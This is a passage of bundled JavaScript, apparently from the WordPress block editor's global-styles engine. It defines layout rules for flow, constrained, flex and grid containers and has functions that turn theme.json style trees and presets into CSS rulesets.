8203 rules: {
8204 "margin-block-end": "0"
8205 }
8206 },
8207 {
8208 selector: " > *",
8209 rules: {
8210 "margin-block-start": null,
8211 "margin-block-end": "0"
8212 }
8213 }
8214 ]
8215 },
8216 constrained: {
8217 name: "constrained",
8218 slug: "constrained",
8219 className: "is-layout-constrained",
8220 baseStyles: [
8221 {
8222 selector: " > .alignleft",
8223 rules: {
8224 float: "left",
8225 "margin-inline-start": "0",
8226 "margin-inline-end": "2em"
8227 }
8228 },
8229 {
8230 selector: " > .alignright",
8231 rules: {
8232 float: "right",
8233 "margin-inline-start": "2em",
8234 "margin-inline-end": "0"
8235 }
8236 },
8237 {
8238 selector: " > .aligncenter",
8239 rules: {
8240 "margin-left": "auto !important",
8241 "margin-right": "auto !important"
8242 }
8243 },
8244 {
8245 selector: " > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
8246 rules: {
8247 "max-width": "var(--wp--style--global--content-size)",
8248 "margin-left": "auto !important",
8249 "margin-right": "auto !important"
8250 }
8251 },
8252 {
8253 selector: " > .alignwide",
8254 rules: {
8255 "max-width": "var(--wp--style--global--wide-size)"
8256 }
8257 }
8258 ],
8259 spacingStyles: [
8260 {
8261 selector: " > :first-child",
8262 rules: {
8263 "margin-block-start": "0"
8264 }
8265 },
8266 {
8267 selector: " > :last-child",
8268 rules: {
8269 "margin-block-end": "0"
8270 }
8271 },
8272 {
8273 selector: " > *",
8274 rules: {
8275 "margin-block-start": null,
8276 "margin-block-end": "0"
8277 }
8278 }
8279 ]
8280 },
8281 flex: {
8282 name: "flex",
8283 slug: "flex",
8284 className: "is-layout-flex",
8285 displayMode: "flex",
8286 baseStyles: [
8287 {
8288 selector: "",
8289 rules: {
8290 "flex-wrap": "wrap",
8291 "align-items": "center"
8292 }
8293 },
8294 {
8295 selector: " > :is(*, div)",
8296 // :is(*, div) instead of just * increases the specificity by 001.
8297 rules: {
8298 margin: "0"
8299 }
8300 }
8301 ],
8302 spacingStyles: [
8303 {
8304 selector: "",
8305 rules: {
8306 gap: null
8307 }
8308 }
8309 ]
8310 },
8311 grid: {
8312 name: "grid",
8313 slug: "grid",
8314 className: "is-layout-grid",
8315 displayMode: "grid",
8316 baseStyles: [
8317 {
8318 selector: " > :is(*, div)",
8319 // :is(*, div) instead of just * increases the specificity by 001.
8320 rules: {
8321 margin: "0"
8322 }
8323 }
8324 ],
8325 spacingStyles: [
8326 {
8327 selector: "",
8328 rules: {
8329 gap: null
8330 }
8331 }
8332 ]
8333 }
8334 };
8335
8336 // packages/global-styles-engine/build-module/core/render.mjs
8337 var ELEMENT_CLASS_NAMES = {
8338 button: "wp-element-button",
8339 caption: "wp-element-caption"
8340 };
8341 var BLOCK_SUPPORT_FEATURE_LEVEL_SELECTORS = {
8342 __experimentalBorder: "border",
8343 color: "color",
8344 dimensions: "dimensions",
8345 spacing: "spacing",
8346 typography: "typography"
8347 };
8348 function getPresetsDeclarations(blockPresets = {}, mergedSettings) {
8349 return PRESET_METADATA.reduce(
8350 (declarations, { path, valueKey, valueFunc, cssVarInfix }) => {
8351 const presetByOrigin = getValueFromObjectPath(
8352 blockPresets,
8353 path,
8354 []
8355 );
8356 ["default", "theme", "custom"].forEach((origin) => {
8357 if (presetByOrigin[origin]) {
8358 presetByOrigin[origin].forEach((value) => {
8359 if (valueKey && !valueFunc) {
8360 declarations.push(
8361 `--wp--preset--${cssVarInfix}--${kebabCase(
8362 value.slug
8363 )}: ${value[valueKey]}`
8364 );
8365 } else if (valueFunc && typeof valueFunc === "function") {
8366 declarations.push(
8367 `--wp--preset--${cssVarInfix}--${kebabCase(
8368 value.slug
8369 )}: ${valueFunc(value, mergedSettings)}`
8370 );
8371 }
8372 });
8373 }
8374 });
8375 return declarations;
8376 },
8377 []
8378 );
8379 }
8380 function getPresetsClasses(blockSelector = "*", blockPresets = {}) {
8381 return PRESET_METADATA.reduce(
8382 (declarations, { path, cssVarInfix, classes }) => {
8383 if (!classes) {
8384 return declarations;
8385 }
8386 const presetByOrigin = getValueFromObjectPath(
8387 blockPresets,
8388 path,
8389 []
8390 );
8391 ["default", "theme", "custom"].forEach((origin) => {
8392 if (presetByOrigin[origin]) {
8393 presetByOrigin[origin].forEach(
8394 ({ slug }) => {
8395 classes.forEach(
8396 ({
8397 classSuffix,
8398 propertyName
8399 }) => {
8400 const classSelectorToUse = `.has-${kebabCase(
8401 slug
8402 )}-${classSuffix}`;
8403 const selectorToUse = blockSelector.split(",").map(
8404 (selector2) => `${selector2}${classSelectorToUse}`
8405 ).join(",");
8406 const value = `var(--wp--preset--${cssVarInfix}--${kebabCase(
8407 slug
8408 )})`;
8409 declarations += `${selectorToUse}{${propertyName}: ${value} !important;}`;
8410 }
8411 );
8412 }
8413 );
8414 }
8415 });
8416 return declarations;
8417 },
8418 ""
8419 );
8420 }
8421 function getPresetsSvgFilters(blockPresets = {}) {
8422 return PRESET_METADATA.filter(
8423 // Duotone are the only type of filters for now.
8424 (metadata) => metadata.path.at(-1) === "duotone"
8425 ).flatMap((metadata) => {
8426 const presetByOrigin = getValueFromObjectPath(
8427 blockPresets,
8428 metadata.path,
8429 {}
8430 );
8431 return ["default", "theme"].filter((origin) => presetByOrigin[origin]).flatMap(
8432 (origin) => presetByOrigin[origin].map(
8433 (preset) => getDuotoneFilter(
8434 `wp-duotone-${preset.slug}`,
8435 preset.colors
8436 )
8437 )
8438 ).join("");
8439 });
8440 }
8441 function flattenTree(input = {}, prefix2, token) {
8442 let result = [];
8443 Object.keys(input).forEach((key) => {
8444 const newKey = prefix2 + kebabCase(key.replace("/", "-"));
8445 const newLeaf = input[key];
8446 if (newLeaf instanceof Object) {
8447 const newPrefix = newKey + token;
8448 result = [...result, ...flattenTree(newLeaf, newPrefix, token)];
8449 } else {
8450 result.push(`${newKey}: ${newLeaf}`);
8451 }
8452 });
8453 return result;
8454 }
8455 function concatFeatureVariationSelectorString(featureSelector, styleVariationSelector) {
8456 const featureSelectors = featureSelector.split(",");
8457 const combinedSelectors = [];
8458 featureSelectors.forEach((selector2) => {
8459 combinedSelectors.push(
8460 `${styleVariationSelector.trim()}${selector2.trim()}`
8461 );
8462 });
8463 return combinedSelectors.join(", ");
8464 }
8465 var updateParagraphTextIndentSelector = (featureDeclarations, settings2, blockName) => {
8466 if (blockName !== "core/paragraph") {
8467 return featureDeclarations;
8468 }
8469 const blockSettings = settings2?.blocks?.["core/paragraph"];
8470 const textIndentSetting = blockSettings?.typography?.textIndent ?? settings2?.typography?.textIndent ?? "subsequent";
8471 if (textIndentSetting !== "all") {
8472 return featureDeclarations;
8473 }
8474 const oldSelector = ".wp-block-paragraph + .wp-block-paragraph";
8475 const newSelector = ".wp-block-paragraph";
8476 if (oldSelector in featureDeclarations) {
8477 const declarations = featureDeclarations[oldSelector];
8478 const updated = { ...featureDeclarations };
8479 delete updated[oldSelector];
8480 updated[newSelector] = declarations;
8481 return updated;
8482 }
8483 return featureDeclarations;
8484 };
8485 var getFeatureDeclarations = (selectors, styles) => {
8486 const declarations = {};
8487 Object.entries(selectors).forEach(([feature, selector2]) => {
8488 if (feature === "root" || !styles?.[feature]) {
8489 return;
8490 }
8491 const isShorthand = typeof selector2 === "string";
8492 if (!isShorthand && typeof selector2 === "object" && selector2 !== null) {
8493 Object.entries(selector2).forEach(
8494 ([subfeature, subfeatureSelector]) => {
8495 if (subfeature === "root" || !styles?.[feature][subfeature]) {
8496 return;
8497 }
8498 const subfeatureStyles = {
8499 [feature]: {
8500 [subfeature]: styles[feature][subfeature]
8501 }
8502 };
8503 const newDeclarations = getStylesDeclarations(subfeatureStyles);
8504 declarations[subfeatureSelector] = [
8505 ...declarations[subfeatureSelector] || [],
8506 ...newDeclarations
8507 ];
8508 delete styles[feature][subfeature];
8509 }
8510 );
8511 }
8512 if (isShorthand || typeof selector2 === "object" && selector2 !== null && "root" in selector2) {
8513 const featureSelector = isShorthand ? selector2 : selector2.root;
8514 const featureStyles = { [feature]: styles[feature] };
8515 const newDeclarations = getStylesDeclarations(featureStyles);
8516 declarations[featureSelector] = [
8517 ...declarations[featureSelector] || [],
8518 ...newDeclarations
8519 ];
8520 delete styles[feature];
8521 }
8522 });
8523 return declarations;
8524 };
8525 function getStylesDeclarations(blockStyles = {}, selector2 = "", useRootPaddingAlign, tree = {}, disableRootPadding = false) {
8526 const isRoot = ROOT_BLOCK_SELECTOR === selector2;
8527 const output = Object.entries(
8528 import_blocks3.__EXPERIMENTAL_STYLE_PROPERTY
8529 ).reduce(
8530 (declarations, [key, { value, properties, useEngine, rootOnly }]) => {
8531 if (rootOnly && !isRoot) {
8532 return declarations;
8533 }
8534 const pathToValue = value;
8535 if (pathToValue[0] === "elements" || useEngine) {
8536 return declarations;
8537 }
8538 const styleValue = getValueFromObjectPath(
8539 blockStyles,
8540 pathToValue
8541 );
8542 if (key === "--wp--style--root--padding" && (typeof styleValue === "string" || !useRootPaddingAlign)) {
8543 return declarations;
8544 }
8545 if (properties && typeof styleValue !== "string") {
8546 Object.entries(properties).forEach((entry) => {
8547 const [name2, prop] = entry;
8548 if (!getValueFromObjectPath(styleValue, [prop], false)) {
8549 return;
8550 }
8551 const cssProperty = name2.startsWith("--") ? name2 : kebabCase(name2);
8552 declarations.push(
8553 `${cssProperty}: ${(0, import_style_engine2.getCSSValueFromRawStyle)(
8554 getValueFromObjectPath(styleValue, [prop])
8555 )}`
8556 );
8557 });
8558 } else if (getValueFromObjectPath(blockStyles, pathToValue, false)) {
8559 const cssProperty = key.startsWith("--") ? key : kebabCase(key);
8560 declarations.push(
8561 `${cssProperty}: ${(0, import_style_engine2.getCSSValueFromRawStyle)(
8562 getValueFromObjectPath(blockStyles, pathToValue)
8563 )}`
8564 );
8565 }
8566 return declarations;
8567 },
8568 []
8569 );
8570 if (!!blockStyles.background) {
8571 if (blockStyles.background?.backgroundImage) {
8572 blockStyles.background.backgroundImage = getResolvedValue(
8573 blockStyles.background.backgroundImage,
8574 tree
8575 );
8576 }
8577 if (!isRoot && !!blockStyles.background?.backgroundImage?.id) {
8578 blockStyles = {
8579 ...blockStyles,
8580 background: {
8581 ...blockStyles.background,
8582 ...setBackgroundStyleDefaults(blockStyles.background)
8583 }
8584 };
8585 }
8586 }
8587 const extraRules = (0, import_style_engine2.getCSSRules)(blockStyles);
8588 extraRules.forEach((rule) => {
8589 if (isRoot && (useRootPaddingAlign || disableRootPadding) && rule.key.startsWith("padding")) {
8590 return;
8591 }
8592 const cssProperty = rule.key.startsWith("--") ? rule.key : kebabCase(rule.key);
8593 let ruleValue = getResolvedValue(rule.value, tree);
8594 if (cssProperty === "font-size") {
8595 ruleValue = getTypographyFontSizeValue(
8596 { name: "", slug: "", size: ruleValue },
8597 tree?.settings
8598 );
8599 }
8600 if (cssProperty === "aspect-ratio") {
8601 output.push("min-height: unset");
8602 }
8603 output.push(`${cssProperty}: ${ruleValue}`);
8604 });
8605 return output;
8606 }
8607 function getLayoutStyles({
8608 layoutDefinitions = LAYOUT_DEFINITIONS,
8609 style,
8610 selector: selector2,
8611 hasBlockGapSupport,
8612 hasFallbackGapSupport,
8613 fallbackGapValue
8614 }) {
8615 let ruleset = "";
8616 let gapValue = hasBlockGapSupport ? getGapCSSValue(style?.spacing?.blockGap) : "";
8617 if (hasFallbackGapSupport) {
8618 if (selector2 === ROOT_BLOCK_SELECTOR) {
8619 gapValue = !gapValue ? "0.5em" : gapValue;
8620 } else if (!hasBlockGapSupport && fallbackGapValue) {
8621 gapValue = fallbackGapValue;
8622 }
8623 }
8624 if (gapValue && layoutDefinitions) {
8625 Object.values(layoutDefinitions).forEach(
8626 ({ className, name: name2, spacingStyles }) => {
8627 if (!hasBlockGapSupport && "flex" !== name2 && "grid" !== name2) {
8628 return;
8629 }
8630 if (spacingStyles?.length) {
8631 spacingStyles.forEach((spacingStyle) => {
8632 const declarations = [];
8633 if (spacingStyle.rules) {
8634 Object.entries(spacingStyle.rules).forEach(
8635 ([cssProperty, cssValue]) => {
8636 declarations.push(
8637 `${cssProperty}: ${cssValue ? cssValue : gapValue}`
8638 );
8639 }
8640 );
8641 }
8642 if (declarations.length) {
8643 let combinedSelector = "";
8644 if (!hasBlockGapSupport) {
8645 combinedSelector = selector2 === ROOT_BLOCK_SELECTOR ? `:where(.${className}${spacingStyle?.selector || ""})` : `:where(${selector2}.${className}${spacingStyle?.selector || ""})`;
8646 } else {
8647 combinedSelector = selector2 === ROOT_BLOCK_SELECTOR ? `:root :where(.${className})${spacingStyle?.selector || ""}` : `:root :where(${selector2}-${className})${spacingStyle?.selector || ""}`;
8648 }
8649 ruleset += `${combinedSelector} { ${declarations.join(
8650 "; "
8651 )}; }`;
8652 }
8653 });
8654 }
8655 }
8656 );
8657 if (selector2 === ROOT_BLOCK_SELECTOR && hasBlockGapSupport) {
8658 ruleset += `${ROOT_CSS_PROPERTIES_SELECTOR} { --wp--style--block-gap: ${gapValue}; }`;
8659 }
8660 }
8661 if (selector2 === ROOT_BLOCK_SELECTOR && layoutDefinitions) {
8662 const validDisplayModes = ["block", "flex", "grid"];
8663 Object.values(layoutDefinitions).forEach(
8664 ({ className, displayMode, baseStyles }) => {
8665 if (displayMode && validDisplayModes.includes(displayMode)) {
8666 ruleset += `${selector2} .${className} { display:${displayMode}; }`;
8667 }
8668 if (baseStyles?.length) {
8669 baseStyles.forEach((baseStyle) => {
8670 const declarations = [];
8671 if (baseStyle.rules) {
8672 Object.entries(baseStyle.rules).forEach(
8673 ([cssProperty, cssValue]) => {
8674 declarations.push(
8675 `${cssProperty}: ${cssValue}`
8676 );
8677 }
8678 );
8679 }
8680 if (declarations.length) {
8681 const combinedSelector = `.${className}${baseStyle?.selector || ""}`;
8682 ruleset += `${combinedSelector} { ${declarations.join(
8683 "; "
8684 )}; }`;
8685 }
8686 });
8687 }
8688 }
8689 );
8690 }
8691 return ruleset;
8692 }
8693 var STYLE_KEYS = [
8694 "border",
8695 "color",
8696 "dimensions",
8697 "spacing",
8698 "typography",
8699 "filter",
8700 "outline",
8701 "shadow",
8702 "background"
8703 ];
8704 function pickStyleKeys(treeToPickFrom) {
8705 if (!treeToPickFrom) {
8706 return {};
8707 }
8708 const entries = Object.entries(treeToPickFrom);
8709 const pickedEntries = entries.filter(
8710 ([key]) => STYLE_KEYS.includes(key)
8711 );
8712 const clonedEntries = pickedEntries.map(([key, style]) => [
8713 key,
8714 JSON.parse(JSON.stringify(style))
8715 ]);
8716 return Object.fromEntries(clonedEntries);
8717 }
8718 var getNodesWithStyles = (tree, blockSelectors) => {
8719 const nodes = [];
8720 if (!tree?.styles) {
8721 return nodes;
8722 }
8723 const styles = pickStyleKeys(tree.styles);
8724 if (styles) {
8725 nodes.push({
8726 styles,
8727 selector: ROOT_BLOCK_SELECTOR,
8728 // Root selector (body) styles should not be wrapped in `:root where()` to keep
8729 // specificity at (0,0,1) and maintain backwards compatibility.
8730 skipSelectorWrapper: true
8731 });
8732 }
8733 Object.entries(import_blocks3.__EXPERIMENTAL_ELEMENTS).forEach(([name2, selector2]) => {
8734 if (tree.styles?.elements?.[name2]) {
8735 nodes.push({
8736 styles: tree.styles?.elements?.[name2] ?? {},
8737 selector: selector2,
8738 // Top level elements that don't use a class name should not receive the
8739 // `:root :where()` wrapper to maintain backwards compatibility.
8740 skipSelectorWrapper: !ELEMENT_CLASS_NAMES[name2]
8741 });
8742 }
8743 });
8744 Object.entries(tree.styles?.blocks ?? {}).forEach(
8745 ([blockName, node]) => {
8746 const blockStyles = pickStyleKeys(node);
8747 const typedNode = node;
8748 const variationNodesToAdd = [];
8749 if (typedNode?.variations) {
8750 const variations = {};
8751 Object.entries(typedNode.variations).forEach(
8752 ([variationName, variation]) => {
8753 const typedVariation = variation;
8754 variations[variationName] = pickStyleKeys(typedVariation);
8755 if (typedVariation?.css) {
8756 variations[variationName].css = typedVariation.css;
8757 }
8758 const variationSelector = typeof blockSelectors !== "string" ? blockSelectors[blockName]?.styleVariationSelectors?.[variationName] : void 0;
8759 Object.entries(
8760 typedVariation?.elements ?? {}
8761 ).forEach(([element, elementStyles]) => {
8762 if (elementStyles && import_blocks3.__EXPERIMENTAL_ELEMENTS[element]) {
8763 variationNodesToAdd.push({
8764 styles: elementStyles,
8765 selector: scopeSelector(
8766 variationSelector,
8767 import_blocks3.__EXPERIMENTAL_ELEMENTS[element]
8768 )
8769 });
8770 }
8771 });
8772 Object.entries(typedVariation?.blocks ?? {}).forEach(
8773 ([
8774 variationBlockName,
8775 variationBlockStyles
8776 ]) => {
8777 const variationBlockSelector = typeof blockSelectors !== "string" ? scopeSelector(
8778 variationSelector,
8779 blockSelectors[variationBlockName]?.selector
8780 ) : void 0;
8781 const variationDuotoneSelector = typeof blockSelectors !== "string" ? scopeSelector(
8782 variationSelector,
8783 blockSelectors[variationBlockName]?.duotoneSelector
8784 ) : void 0;
8785 const variationFeatureSelectors = typeof blockSelectors !== "string" ? scopeFeatureSelectors(
8786 variationSelector,
8787 blockSelectors[variationBlockName]?.featureSelectors ?? {}
8788 ) : void 0;
8789 const variationBlockStyleNodes = pickStyleKeys(variationBlockStyles);
8790 if (variationBlockStyles?.css) {
8791 variationBlockStyleNodes.css = variationBlockStyles.css;
8792 }
8793 if (!variationBlockSelector || typeof blockSelectors === "string") {
8794 return;
8795 }
8796 variationNodesToAdd.push({
8797 selector: variationBlockSelector,
8798 duotoneSelector: variationDuotoneSelector,
8799 featureSelectors: variationFeatureSelectors,
8800 fallbackGapValue: blockSelectors[variationBlockName]?.fallbackGapValue,
8801 hasLayoutSupport: blockSelectors[variationBlockName]?.hasLayoutSupport,
8802 styles: variationBlockStyleNodes
8803 });
8804 Object.entries(
8805 variationBlockStyles.elements ?? {}
8806 ).forEach(
8807 ([
8808 variationBlockElement,
8809 variationBlockElementStyles
8810 ]) => {
8811 if (variationBlockElementStyles && import_blocks3.__EXPERIMENTAL_ELEMENTS[variationBlockElement]) {
8812 variationNodesToAdd.push({
8813 styles: variationBlockElementStyles,
8814 selector: scopeSelector(
8815 variationBlockSelector,
8816 import_blocks3.__EXPERIMENTAL_ELEMENTS[variationBlockElement]
8817 )
8818 });
8819 }
8820 }
8821 );
8822 }
8823 );
8824 }
8825 );
8826 blockStyles.variations = variations;
8827 }
8828 if (typeof blockSelectors !== "string" && blockSelectors?.[blockName]?.selector) {
8829 nodes.push({
8830 duotoneSelector: blockSelectors[blockName].duotoneSelector,
8831 fallbackGapValue: blockSelectors[blockName].fallbackGapValue,
8832 hasLayoutSupport: blockSelectors[blockName].hasLayoutSupport,
8833 selector: blockSelectors[blockName].selector,
8834 styles: blockStyles,
8835 featureSelectors: blockSelectors[blockName].featureSelectors,
8836 styleVariationSelectors: blockSelectors[blockName].styleVariationSelectors,
8837 name: blockName
8838 });
8839 }
8840 Object.entries(typedNode?.elements ?? {}).forEach(
8841 ([elementName, value]) => {
8842 if (typeof blockSelectors !== "string" && value && blockSelectors?.[blockName] && import_blocks3.__EXPERIMENTAL_ELEMENTS[elementName]) {
8843 nodes.push({
8844 styles: value,
8845 selector: blockSelectors[blockName]?.selector.split(",").map((sel) => {
8846 const elementSelectors = import_blocks3.__EXPERIMENTAL_ELEMENTS[elementName].split(",");
8847 return elementSelectors.map(
8848 (elementSelector) => sel + " " + elementSelector
8849 );
8850 }).join(",")
8851 });
8852 }
8853 }
8854 );
8855 nodes.push(...variationNodesToAdd);
8856 }
8857 );
8858 return nodes;
8859 };
8860 var getNodesWithSettings = (tree, blockSelectors) => {
8861 const nodes = [];
8862 if (!tree?.settings) {
8863 return nodes;
8864 }
8865 const pickPresets = (treeToPickFrom) => {
8866 let presets2 = {};
8867 PRESET_METADATA.forEach(({ path }) => {
8868 const value = getValueFromObjectPath(treeToPickFrom, path, false);
8869 if (value !== false) {
8870 presets2 = setImmutably(presets2, path, value);
8871 }
8872 });
8873 return presets2;
8874 };
8875 const presets = pickPresets(tree.settings);
8876 const custom = tree.settings?.custom;
8877 if (Object.keys(presets).length > 0 || custom) {
8878 nodes.push({
8879 presets,
8880 custom,
8881 selector: ROOT_CSS_PROPERTIES_SELECTOR
8882 });
8883 }
8884 Object.entries(tree.settings?.blocks ?? {}).forEach(
8885 ([blockName, node]) => {
8886 const blockCustom = node.custom;
8887 if (typeof blockSelectors === "string" || !blockSelectors[blockName]) {
8888 return;
8889 }
8890 const blockPresets = pickPresets(node);
8891 if (Object.keys(blockPresets).length > 0 || blockCustom) {
8892 nodes.push({
8893 presets: blockPresets,
8894 custom: blockCustom,
8895 selector: blockSelectors[blockName]?.selector
8896 });
8897 }
8898 }
8899 );
8900 return nodes;
8901 };
8902 var generateCustomProperties = (tree, blockSelectors) => {
8903 const settings2 = getNodesWithSettings(tree, blockSelectors);
8904 let ruleset = "";
8905 settings2.forEach(({ presets, custom, selector: selector2 }) => {
8906 const declarations = tree?.settings ? getPresetsDeclarations(presets, tree?.settings) : [];
8907 const customProps = flattenTree(custom, "--wp--custom--", "--");
8908 if (customProps.length > 0) {
8909 declarations.push(...customProps);
8910 }
8911 if (declarations.length > 0) {
8912 ruleset += `${selector2}{${declarations.join(";")};}`;
8913 }
8914 });
8915 return ruleset;
8916 };
8917 var transformToStyles = (tree, blockSelectors, hasBlockGapSupport, hasFallbackGapSupport, disableLayoutStyles = false, disableRootPadding = false, styleOptions = {}) => {
8918 const options = {
8919 blockGap: true,
8920 blockStyles: true,
8921 layoutStyles: true,
8922 marginReset: true,
8923 presets: true,
8924 rootPadding: true,
8925 variationStyles: false,
8926 ...styleOptions
8927 };
8928 const nodesWithStyles = getNodesWithStyles(tree, blockSelectors);
8929 const nodesWithSettings = getNodesWithSettings(tree, blockSelectors);
8930 const useRootPaddingAlign = tree?.settings?.useRootPaddingAwareAlignments;
8931 const { contentSize, wideSize } = tree?.settings?.layout || {};
8932 const hasBodyStyles = options.marginReset || options.rootPadding || options.layoutStyles;
8933 let ruleset = "";
8934 if (options.presets && (contentSize || wideSize)) {
8935 ruleset += `${ROOT_CSS_PROPERTIES_SELECTOR} {`;
8936 ruleset = contentSize ? ruleset + ` --wp--style--global--content-size: ${contentSize};` : ruleset;
8937 ruleset = wideSize ? ruleset + ` --wp--style--global--wide-size: ${wideSize};` : ruleset;
8938 ruleset += "}";
8939 }
8940 if (hasBodyStyles) {
8941 ruleset += ":where(body) {margin: 0;";
8942 if (options.rootPadding && useRootPaddingAlign) {
8943 ruleset += `padding-right: 0; padding-left: 0; padding-top: var(--wp--style--root--padding-top); padding-bottom: var(--wp--style--root--padding-bottom) }
8944 .has-global-padding { padding-right: var(--wp--style--root--padding-right); padding-left: var(--wp--style--root--padding-left); }
8945 .has-global-padding > .alignfull { margin-right: calc(var(--wp--style--root--padding-right) * -1); margin-left: calc(var(--wp--style--root--padding-left) * -1); }
8946 .has-global-padding :where(:not(.alignfull.is-layout-flow) > .has-global-padding:not(.wp-block-block, .alignfull)) { padding-right: 0; padding-left: 0; }
8947 .has-global-padding :where(:not(.alignfull.is-layout-flow) > .has-global-padding:not(.wp-block-block, .alignfull)) > .alignfull { margin-left: 0; margin-right: 0;
8948 `;
8949 }
8950 ruleset += "}";
8951 }
8952 if (options.blockStyles) {
8953 nodesWithStyles.forEach(
8954 ({
8955 selector: selector2,
8956 duotoneSelector,
8957 styles,
8958 fallbackGapValue,
8959 hasLayoutSupport,
8960 featureSelectors,
8961 styleVariationSelectors,
8962 skipSelectorWrapper,
8963 name: name2
8964 }) => {
8965 if (featureSelectors) {
8966 let featureDeclarations = getFeatureDeclarations(
8967 featureSelectors,
8968 styles
8969 );
8970 featureDeclarations = updateParagraphTextIndentSelector(
8971 featureDeclarations,
8972 tree.settings,
8973 name2
8974 );
8975 Object.entries(featureDeclarations).forEach(
8976 ([cssSelector, declarations]) => {
8977 if (declarations.length) {
8978 const rules = declarations.join(";");
8979 ruleset += `:root :where(${cssSelector}){${rules};}`;
8980 }
8981 }
8982 );
8983 }
8984 if (duotoneSelector) {
8985 const duotoneStyles = {};
8986 if (styles?.filter) {
8987 duotoneStyles.filter = styles.filter;
8988 delete styles.filter;
8989 }
8990 const duotoneDeclarations = getStylesDeclarations(duotoneStyles);
8991 if (duotoneDeclarations.length) {
8992 ruleset += `${duotoneSelector}{${duotoneDeclarations.join(
8993 ";"
8994 )};}`;
8995 }
8996 }
8997 if (!disableLayoutStyles && (ROOT_BLOCK_SELECTOR === selector2 || hasLayoutSupport)) {
8998 ruleset += getLayoutStyles({
8999 style: styles,
9000 selector: selector2,
9001 hasBlockGapSupport,
9002 hasFallbackGapSupport,
9003 fallbackGapValue
9004 });
9005 }
9006 const styleDeclarations = getStylesDeclarations(
9007 styles,
9008 selector2,
9009 useRootPaddingAlign,
9010 tree,
9011 disableRootPadding
9012 );
9013 if (styleDeclarations?.length) {
9014 const generalSelector = skipSelectorWrapper ? selector2 : `:root :where(${selector2})`;
9015 ruleset += `${generalSelector}{${styleDeclarations.join(
9016 ";"
9017 )};}`;
9018 }
9019 if (styles?.css) {
9020 ruleset += processCSSNesting(
9021 styles.css,
9022 `:root :where(${selector2})`
9023 );
9024 }
9025 if (options.variationStyles && styleVariationSelectors) {
9026 Object.entries(styleVariationSelectors).forEach(
9027 ([styleVariationName, styleVariationSelector]) => {
9028 const styleVariations = styles?.variations?.[styleVariationName];
9029 if (styleVariations) {
9030 if (featureSelectors) {
9031 let featureDeclarations = getFeatureDeclarations(
9032 featureSelectors,
9033 styleVariations
9034 );
9035 featureDeclarations = updateParagraphTextIndentSelector(
9036 featureDeclarations,
9037 tree.settings,
9038 name2
9039 );
9040 Object.entries(
9041 featureDeclarations
9042 ).forEach(
9043 ([baseSelector, declarations]) => {
9044 if (declarations.length) {
9045 const cssSelector = concatFeatureVariationSelectorString(
9046 baseSelector,
9047 styleVariationSelector
9048 );
9049 const rules = declarations.join(";");
9050 ruleset += `:root :where(${cssSelector}){${rules};}`;
9051 }
9052 }
9053 );
9054 }
9055 const styleVariationDeclarations = getStylesDeclarations(
9056 styleVariations,
9057 styleVariationSelector,
9058 useRootPaddingAlign,
9059 tree
9060 );
9061 if (styleVariationDeclarations.length) {
9062 ruleset += `:root :where(${styleVariationSelector}){${styleVariationDeclarations.join(
9063 ";"
9064 )};}`;
9065 }
9066 if (styleVariations?.css) {
9067 ruleset += processCSSNesting(
9068 styleVariations.css,
9069 `:root :where(${styleVariationSelector})`
9070 );
9071 }
9072 if (hasLayoutSupport && styleVariations?.spacing?.blockGap) {
9073 const variationSelectorWithBlock = styleVariationSelector + selector2;
9074 ruleset += getLayoutStyles({
9075 style: styleVariations,
9076 selector: variationSelectorWithBlock,
9077 hasBlockGapSupport: true,
9078 hasFallbackGapSupport,
9079 fallbackGapValue
9080 });
9081 }
9082 }
9083 }
9084 );
9085 }
9086 const pseudoSelectorStyles = Object.entries(styles).filter(
9087 ([key]) => key.startsWith(":")
9088 );
9089 if (pseudoSelectorStyles?.length) {
9090 pseudoSelectorStyles.forEach(
9091 ([pseudoKey, pseudoStyle]) => {
9092 const pseudoDeclarations = getStylesDeclarations(pseudoStyle);
9093 if (!pseudoDeclarations?.length) {
9094 return;
9095 }
9096 const _selector = selector2.split(",").map((sel) => sel + pseudoKey).join(",");
9097 const pseudoRule = `:root :where(${_selector}){${pseudoDeclarations.join(
9098 ";"
9099 )};}`;
9100 ruleset += pseudoRule;
9101 }
9102 );
9103 }
9104 }
9105 );
9106 }
9107 if (options.layoutStyles) {
9108 ruleset = ruleset + ".wp-site-blocks > .alignleft { float: left; margin-right: 2em; }";
9109 ruleset = ruleset + ".wp-site-blocks > .alignright { float: right; margin-left: 2em; }";
9110 ruleset = ruleset + ".wp-site-blocks > .aligncenter { justify-content: center; margin-left: auto; margin-right: auto; }";
9111 }
9112 if (options.blockGap && hasBlockGapSupport) {
9113 const gapValue = getGapCSSValue(tree?.styles?.spacing?.blockGap) || "0.5em";
9114 ruleset = ruleset + `:root :where(.wp-site-blocks) > * { margin-block-start: ${gapValue}; margin-block-end: 0; }`;
9115 ruleset = ruleset + ":root :where(.wp-site-blocks) > :first-child { margin-block-start: 0; }";
9116 ruleset = ruleset + ":root :where(.wp-site-blocks) > :last-child { margin-block-end: 0; }";
9117 }
9118 if (options.presets) {
9119 nodesWithSettings.forEach(({ selector: selector2, presets }) => {
9120 if (ROOT_BLOCK_SELECTOR === selector2 || ROOT_CSS_PROPERTIES_SELECTOR === selector2) {
9121 selector2 = "";
9122 }
9123 const classes = getPresetsClasses(selector2, presets);
9124 if (classes.length > 0) {
9125 ruleset += classes;
9126 }
9127 });
9128 }
9129 return ruleset;
9130 };
9131 function generateSvgFilters(tree, blockSelectors) {
9132 const nodesWithSettings = getNodesWithSettings(tree, blockSelectors);
9133 return nodesWithSettings.flatMap(({ presets }) => {
9134 return getPresetsSvgFilters(presets);
9135 });
9136 }
9137 var getSelectorsConfig = (blockType, rootSelector) => {
9138 if (blockType?.selectors && Object.keys(blockType.selectors).length > 0) {
9139 return blockType.selectors;
9140 }
9141 const config2 = {
9142 root: rootSelector
9143 };
9144 Object.entries(BLOCK_SUPPORT_FEATURE_LEVEL_SELECTORS).forEach(
9145 ([featureKey, featureName]) => {
9146 const featureSelector = getBlockSelector(blockType, featureKey);
9147 if (featureSelector) {
9148 config2[featureName] = featureSelector;
9149 }
9150 }
9151 );
9152 return config2;
9153 };
9154 var getBlockSelectors = (blockTypes, variationInstanceId) => {
9155 const { getBlockStyles } = (0, import_data17.select)(import_blocks3.store);
9156 const result = {};
9157 blockTypes.forEach((blockType) => {
9158 const name2 = blockType.name;
9159 const selector2 = getBlockSelector(blockType);
9160 if (!selector2) {
9161 return;
9162 }
9163 let duotoneSelector = getBlockSelector(blockType, "filter.duotone");
9164 if (!duotoneSelector) {
9165 const rootSelector = getBlockSelector(blockType);
